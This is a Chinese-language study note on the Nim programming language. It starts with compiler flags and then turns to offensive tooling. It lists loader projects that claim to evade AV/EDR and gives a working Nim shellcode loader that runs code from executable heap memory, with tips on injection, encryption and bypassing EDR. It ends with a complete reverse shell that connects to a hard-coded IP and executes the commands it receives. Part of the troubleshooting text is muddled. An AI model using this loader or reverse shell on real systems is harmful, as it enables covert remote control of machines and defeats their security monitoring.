Nim(最初叫 Nimrod)是一门命令式静态类型编程语言,
可以被编译成 C 或 JavaScript。它是开源的,维护很活跃,
还结合了来自成熟语言(如Python,Ada和Modula)的成功概念。
Nim具有高效性,
生成的执行文件小,编译器支持所有平台,
非常适合嵌入式硬实时系统,支持各种后端编译等等,
Nim强大的宏系统和独立性,
一般的编译参数:
c:编译成C语言。
例如:nim c test.nim
cpp:编译成C++语言。
例如:nim cpp test.nim
objc:编译成objc语言
js:编译成javascript脚本, 可以建一个html文件在<script src="test.js"></script>里运行
-d:release:进行release编译。
nim cc -d:release test.nim
-r:编译完成后运行程序
--cincludes:包含 当前目录(./)的 c头文件.
--cpu:指定架构,
如:nim cc -cpu amd64 , nim cc -cpu:arm。
--cpu参数有:i386, m68k, alpha, powerpc, powerpc64, powerpc64el, sparc, vm, hppa, ia64, amd64, mips, mipsel, arm, arm64, js, nimvm, avr, msp430, sparc64, mips64, mips64el, riscv64, esp, wasm32
编译x64nim
c -d:mingw --app:gui --cpu:amd64 -d:danger -d:strip --opt:size --passc=-flto --passl=-flto test.nim 编译x86nim c -d:mingw --app:gui --cpu:i386 -d:danger -d:strip --opt:size --passc=-flto --passl=-flto test.nim
安装库:nimble install
nim c myprogram.nim
这会生成一个名为myprogram.exe的可执行文件,你可以在Windows系统上运行它
想生成一个不依赖于其他库或文件的单独的exe文件,你可以使用–app:staticlib选项来指定生成一个静态库,例如:
nim c --app:staticlib myprogram.nim
这会生成一个名为myprogram_static.exe的可执行文件,它包含了所有需要的代码和数据
不显示控制台窗口的exe文件,你可以使用–app:gui选项
指定生成一个GUI应用程序
nim c --app:gui myprogram.nim
这会生成一个名为myprogram.exe的可执行文件,它不会打开控制台窗口,而是在后台运行。
想用Nim编写一个shellcode加载器,你可以参考一些已有的项目,例如:
NimShellCodeLoader:一个使用nim编写的shellcode加载器,支持多种加载方式和加密技术。1
nim-loader:一个使用nim编写的shellcode加载器,实现了一些EDR绕过技术,如直接系统调用、AMSI和ETW打补丁、NTDLL去钩子等。2
Nimcrypt2:一个使用nim编写的PE和shellcode打包/加载器,使用直接系统调用和AES加密来绕过AV/EDR。3
这些项目都提供了源代码和使用方法,你可以根据自己的需求进行修改或拓展。你也可以学习一些Nim的语法和特性,以及一些Windows的API和技术,来自己编写一个shellcode加载器。
# 引入winim库,用于调用Windows API
import winim
# 定义shellcode,可以是任意有效的二进制数据
const shellcode = @[byte 0x90, 0x90, 0x90, ...]
# 获取shellcode的长度
let shellcodeLen = shellcode.len
# 创建一个堆,并分配一块可读可写可执行的内存空间,大小为shellcodeLen
let heap = HeapCreate(HEAP_CREATE_ENABLE_EXECUTE, shellcodeLen, 0)
let buffer = HeapAlloc(heap, HEAP_ZERO_MEMORY, shellcodeLen)
# 将shellcode复制到分配的内存空间中
copyMem(buffer, unsafeAddr shellcode[0], shellcodeLen)
# 创建一个新线程,并执行分配的内存空间中的代码
let thread = CreateThread(nil, 0, buffer, nil, 0, nil)
# 等待线程结束,然后释放内存空间和堆
WaitForSingleObject(thread, INFINITE)
HeapFree(heap, 0, buffer)
HeapDestroy(heap)
这是一个简单的示例,你可以根据你的需要修改或添加更多的功能。
例如,你可以使用不同的加载方式,如APC注入、线程劫持、纤程
你可以使用加密技术,如AES或凯撒密码,来保护你的shellcode2;你可以使用直接系统调用或刷新NTDLL.dll来绕过EDR
因为CreateThread的第三个参数需要一个LPTHREAD_START_ROUTINE类型的函数指针,而不是一个LPVOID类型的内存地址。你可以用cast或addr操作符来转换类型,例如:
let thread = CreateThread(nil, 0, cast[LPTHREAD_START_ROUTINE](buffer), nil, 0, nil)
或者
let thread = CreateThread(nil, 0, addr buffer, nil, 0, nil)
因为你不能对一个字面量(literal)取地址。
字面量是一个固定的值,比如数字或字符串,它没有存储在内存中的变量名,所以没有地址。你可以参考搜索结果123来了解更多关于lvalue和&操作符的概念。
你的代码中,你用#define定义了一个宏PORT,它的值是9987。当你编译的时候,预处理器会把所有的PORT替换成9987,所以你实际上是在写:
let buffer = cast[LPVOID](&9987)
这样就会报错,因为9987是一个字面量,没有地址。你应该用一个变量来存储PORT的值,然后对变量取地址,例如:
let port = 9987
let buffer = cast[LPVOID](&port)
https://www.cnblogs.com/Ir0nHeart/p/16779260.html
import net
import osproc
import os
var ip = "10.1.53.52"
var port = 10085
var socket = newSocket()
var finalcommand : string
while true:
try:
socket.connect(ip, Port(port))
while true:
try:
socket.send("<helloshell>")
var command = socket.recvLine()
if command == "bye":
socket.send("exit")
socket.close()
system.quit(0)
if system.hostOS == "windows":
finalcommand = "cmd /C" & command
else:
finalcommand = "/bin/sh -c" & command
var (cmdres, _) = execCmdEx(finalcommand)
socket.send(cmdres)
except:
socket.close()
system.quit()
except:
echo ""
sleep(5000)
continue
https://github.com/aeverj/NimShellCodeLoader
https://github.com/ScxMes/Core-Nim-programming
NIm学习手册
https://mp.weixin.qq.com/s/YKkCcqeiQLwyw4cJvQHilA